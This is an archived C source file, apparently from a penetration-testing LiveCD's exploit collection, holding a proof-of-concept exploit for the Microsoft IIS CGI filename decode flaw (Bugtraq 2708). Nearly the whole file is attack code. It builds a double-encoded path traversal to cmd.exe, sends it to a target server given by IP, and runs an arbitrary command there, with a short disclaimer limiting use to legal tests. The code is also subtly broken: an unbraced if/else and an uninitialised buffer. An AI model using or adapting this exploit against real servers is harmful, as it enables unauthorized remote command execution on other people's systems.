home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / execiis.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  93 lines

  1. /*
  2.  *
  3.  * execiis.c - (c)copyright Filip Maertens
  4.  * BUGTRAQ ID: 2708 - Microsoft IIS CGI Filename Decode Error
  5.  *
  6.  * DISCLAIMER:    This  is  proof of concept code.  This means, this
  7. code
  8.  * may only be used on approved systems in order to test the
  9. availability
  10.  * and integrity of machines  during a legal penetration test.  In no
  11. way
  12.  * is the  author of  this exploit  responsible for the use and result
  13. of
  14.  * this code.
  15.  *
  16.  */
  17.  
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <sys/socket.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <unistd.h>
  24. #include <string.h>
  25.  
  26.  
  27. /* Modify this value to whichever sequence you want.
  28.  *
  29.  * %255c = %%35c = %%35%63 = %25%35%63 = /
  30.  *
  31.  */
  32.  
  33. #define SHOWSEQUENCE "/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"
  34.  
  35.  
  36.  
  37. int main(int argc, char *argv[])
  38. {
  39.  
  40.  struct sockaddr_in sin;
  41.  char recvbuffer[1], stuff[200];
  42.  int create_socket;
  43.  
  44.  printf("iisexec.c | Microsoft IIS CGI Filename Decode Error |
  45. <filip@securax.be>\n-------------------------------------------------------------------------\n");
  46.  
  47.  if (argc < 3)
  48.  {
  49.   printf(" -- Usage: iisexec [ip] [command]\n");
  50.   exit(0);
  51.  }
  52.  
  53.  
  54. if (( create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0 )
  55.  printf(" -- Socket created.\n");
  56.  
  57.  sin.sin_family = AF_INET;
  58.  sin.sin_port = htons(80);
  59.  sin.sin_addr.s_addr = inet_addr(argv[1]);
  60.  
  61. if (connect(create_socket, (struct sockaddr *)&sin,sizeof(sin))==0)
  62.  printf(" -- Connection made.\n");
  63. else
  64.  { printf(" -- No connection.\n"); exit(1); }
  65.  
  66.  
  67.  strcat(stuff, "GET ");
  68.  strcat(stuff, SHOWSEQUENCE);
  69.  strcat(stuff, argv[2]);
  70.  strcat(stuff, " HTTP/1.0\n\n");
  71.  
  72.  memset(recvbuffer, '\0',sizeof(recvbuffer));
  73.  
  74.  send(create_socket, stuff, sizeof(stuff), 0);
  75.  recv(create_socket, recvbuffer, sizeof (recvbuffer),0);
  76.  
  77.  
  78.  
  79.  if ( ( strstr(recvbuffer,"404") == NULL ) )
  80.  
  81.      printf(" -- Command output:\n\n");
  82.      while(recv(create_socket, recvbuffer, 1, 0) > 0)
  83.    {
  84.      printf("%c", recvbuffer[0]);
  85.    }
  86.  
  87.  else
  88.   printf(" -- Wrong command processing. \n");
  89.  
  90.  close(create_socket);
  91.  
  92. }
  93.